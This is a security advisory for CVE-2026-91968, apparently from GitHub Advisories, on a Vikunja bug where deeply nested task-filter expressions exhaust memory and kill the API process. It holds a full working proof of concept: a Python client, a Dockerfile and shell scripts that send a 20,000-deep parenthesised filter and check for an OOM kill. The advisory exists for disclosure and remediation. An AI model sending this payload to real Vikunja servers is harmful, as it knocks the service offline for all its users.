OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-91968: Vikunja: Unbounded nested task-filter recursion permits API process termination

GitHub Advisories · officialPublished Oct 9, 2026Risk 37/100

# Unbounded nested task-filter recursion permits API process termination ## Summary Authenticated task-list routes accept a filter expression without a length or nesting-depth bound, preprocess it, parse it recursively through fexpr, and recursively convert the resulting expression tree. A syntactically valid deeply nested expression well below the HTTP request-size ceiling exhausts memory and kills the API process. ## Impact and affected scope - **Type:** Resource Exhaustion Recursive Parser - **Affected component:** GET /api/v2/projects/{project}/tasks?filter=<nested expression>; Other authenticated task-collection entrypoints that share getTaskFiltersFromFilterString - **Preconditions:** A low-privileged authenticated user supplies thousands of balanced parentheses around a valid task predicate in the filter query parameter. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A single low-privileged network request can terminate the API process and deny service to all users. ## Technical details The server preprocesses and recursively parses/traverses an unbounded filter expression without rejecting excessive length or depth. Attack path: Authenticate, request an accessible project's task collection with 20,000 nested parenthesis pairs around id = 1, and drive parser and expression-tree memory growth until the process is killed. Relevant code: - `pkg/models/task_collection_filter.go:240` - `pkg/models/task_collection_filter.go:268` - `pkg/models/task_collection_filter.go:274` - `pkg/models/task_collection_filter.go:276` - `pkg/models/task_collection_filter.go:295` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.parse import urllib.request BASE = "http://target:3456" def request(method, path, body=None, token=None, expected=None, timeout=30): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=timeout) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path[:160]} -> {status} {data[:200].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def filter_path(project_id, depth): expression = "(" * depth + "id = 1" + ")" * depth path = f"/api/v2/projects/{project_id}/tasks?filter=" + urllib.parse.quote(expression, safe="") print(f"PoC_FILTER_REQUEST depth={depth} target_bytes={len(path)}", flush=True) return path def main(): wait_ready() username, password = "PoC-filter-user", "PoC-password-123!" request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) token = login["token"] _, project = request("PUT", "/api/v1/projects", {"title": "PoC filter project"}, token, 201) started = time.monotonic() request("GET", filter_path(project["id"], 1000), token=token, expected=200) print(f"PoC_FILTER_CONTROL=PASS elapsed={time.monotonic() - started:.3f}s", flush=True) try: status, _ = request("GET", filter_path(project["id"], 20000), token=token, timeout=90) raise RuntimeError(f"attack unexpectedly returned HTTP {status}") except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc: print(f"PoC_FILTER_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True) print("PoC_FILTER_ATTACK_SENT depth=20000", flush=True) if __name__ == "__main__": try: main() except Exception as exc: print(f"PoC_FILTER_CLIENT=FAIL {exc}", file=sys.stderr, flush=True) raise ``` Create `reproduction/prepare.sh`: ```sh #!/usr/bin/env bash set -euo pipefail mkdir -p /work/repo cp -a /target-repo/. /work/repo/ mkdir -p /work/repo/frontend/dist cp /app/frontend-placeholder.html /work/repo/frontend/dist/index.html cd /work/repo CGO_ENABLED=1 go build \ -tags osusergo \ -ldflags '-s -w -X code.vikunja.io/api/pkg/version.Version=PoC-reproduction' \ -o /output/vikunja . chmod 0755 /output/vikunja if [[ -f /app/probe.go ]]; then go build -o /output/probe /app/probe.go chmod 0755 /output/probe fi ``` Create `reproduction/run.sh`: ```sh #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" FINDING_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" SESSION_DIR="$(cd "${FINDING_DIR}/.." && pwd)" CASE_ID="$(basename "${SESSION_DIR}")" FINDING_NAME="$(basename "${FINDING_DIR}")" IMAGE_TAG="PoC-${CASE_ID}-${FINDING_NAME}" TARGET_REPO_URL="https://github.com/go-vikunja/vikunja.git" TARGET_REF="349cd5adbcc831ef08b08e6c9c6d627603c39606" WORKDIR="$(mktemp -d "${SESSION_DIR}/.PoC-reproduction.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" BUILD_DIR="${WORKDIR}/build" DATA_DIR="${WORKDIR}/data" NETWORK="${IMAGE_TAG}-net-$$" TARGET_CONTAINER="${IMAGE_TAG}-target-$$" cleanup() { docker rm -f "${TARGET_CONTAINER}" >/dev/null 2>&1 || true docker network rm "${NETWORK}" >/dev/null 2>&1 || true rm -rf "${WORKDIR}" } trap cleanup EXIT mkdir -p "${BUILD_DIR}" "${DATA_DIR}/files" chmod 0777 "${BUILD_DIR}" "${DATA_DIR}" "${DATA_DIR}/files" echo "[PoC] cloning and pinning target ${TARGET_REF}" git clone --filter=blob:none --no-checkout "${TARGET_REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --detach "${TARGET_REF}" echo "[PoC] building helper image ${IMAGE_TAG}" docker build -t "${IMAGE_TAG}" "${SCRIPT_DIR}" docker run --rm -v "${TARGET_REPO_DIR}:/target-repo:ro" -v "${BUILD_DIR}:/output" "${IMAGE_TAG}" /app/prepare.sh docker network create "${NETWORK}" >/dev/null docker run --detach --name "${TARGET_CONTAINER}" \ --network "${NETWORK}" --network-alias target \ --memory 512m --memory-swap 512m --pids-limit 256 \ -v "${BUILD_DIR}/vikunja:/app/vikunja:ro" --tmpfs /data:rw,exec,mode=1777 \ -e VIKUNJA_SERVICE_INTERFACE=:3456 -e VIKUNJA_SERVICE_PUBLICURL=http://target:3456/ \ -e VIKUNJA_SERVICE_ROOTPATH=/data -e VIKUNJA_SERVICE_JWTSECRET=PoC-reproduction-secret \ -e VIKUNJA_SERVICE_ENABLEREGISTRATION=true -e VIKUNJA_DATABASE_TYPE=sqlite \ -e VIKUNJA_DATABASE_PATH=/data/vikunja.db -e VIKUNJA_FILES_BASEPATH=/data/files \ -e VIKUNJA_MAILER_ENABLED=false -e VIKUNJA_REDIS_ENABLED=false -e VIKUNJA_LOG_HTTP=off \ -e VIKUNJA_RATELIMIT_NOAUTHLIMIT=1000 \ "${IMAGE_TAG}" /app/vikunja web >/dev/null set +e OUTPUT="$(docker run --rm --network "${NETWORK}" "${IMAGE_TAG}" python3 /app/client.py 2>&1)" CLIENT_STATUS=$? set -e printf '%s\n' "${OUTPUT}" for _ in $(seq 1 80); do STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")" [[ "${STATE}" != "false 0 true" ]] && break sleep 0.25 done STATE="$(docker inspect --format '{{.State.OOMKilled}} {{.State.ExitCode}} {{.State.Running}}' "${TARGET_CONTAINER}")" echo "PoC_FILTER_CONTAINER state=${STATE} client_status=${CLIENT_STATUS}" if ! grep -q 'PoC_FILTER_CONTROL=PASS' <<<"${OUTPUT}" || ! grep -q 'PoC_FILTER_ATTACK_SENT depth=20000' <<<"${OUTPUT}" || [[ "${STATE}" != "true 137 false" ]]; then echo "[PoC] FAIL: nested filter did not produce the expected cgroup OOM termination" >&2 exit 1 fi echo "PoC_FILTER_RECURSION=PASS depth=20000 OOMKilled=true ExitCode=137" echo "[PoC] SUCCESS: an approximately 120 KB authenticated request terminated a 512 MiB API process" ``` Create `reproduction/frontend-placeholder.html`: ```html <!doctype html><title>PoC backend reproduction placeholder</title> ``` From the directory containing these files, run: ```sh chmod +x reproduction/run.sh reproduction/*.sh 2>/dev/null || true ./reproduction/run.sh ``` **Expected:** A low-privileged request below the server request-size ceiling terminates the API process through unbounded filter parsing. **Observed:** Depth 1,000 returned HTTP 200 in 14 ms. The 120,044-byte depth-20,000 request disconnected, and Docker recorded OOMKilled=true, ExitCode=137. The run emitted PoC_FILTER_RECURSION=PASS. **Verification and controls:** The client creates an ordinary account and project, asserts the depth-1,000 route control is HTTP 200, submits depth 20,000, and the host script accepts only the attack marker plus Docker OOMKilled=true and ExitCode=137. Observed evidence: - depth=1000 target_bytes=6044: HTTP 200 - depth=20000 target_bytes=120044: RemoteDisconnected - target container: OOMKilled=true, ExitCode=137 - PoC_FILTER_RECURSION=PASS ## Suggested remediation Enforce the intended authorization, size, cardinality, recursion, or lifecycle boundary before the sensitive operation described above; fail closed; release partial resources on every exit path; and add a regression test that preserves the exploit and negative-control oracles. ## Severity **CVSS v4.0: 7.1 (High)** — Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` This assessment is preliminary and pending maintainer confirmation. The score was recalculated with the FIRST CVSS v4.0 reference implementation on 28 August 2026. ## Disclosure context and attribution AI-assisted analysis helped surface this issue; the behavior was independently reproduced and validated in an isolated environment. Reported by the University of Sydney security research team: - [Ziyue Wang (@Zyy0530)](https://github.com/Zyy0530) - [Liyi Zhou (@lzhou1110)](https://github.com/lzhou1110) - [Strick Sheng (@Str1ckl4nd)](https://github.com/Str1ckl4nd) - [Maurice Ng (@mauriceng98)](https://github.com/mauriceng98) - [Chenchen Yu (@7thParkk)](https://github.com/7thParkk) We are happy to answer questions, provide additional verification details, or validate a candidate patch.

Upgrade affected packages to a patched version: code.vikunja.io/api 2.6.0.

Vendor
Not specified
Product
code.vikunja.io/api
Exploitation
none known
Evidence
official

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source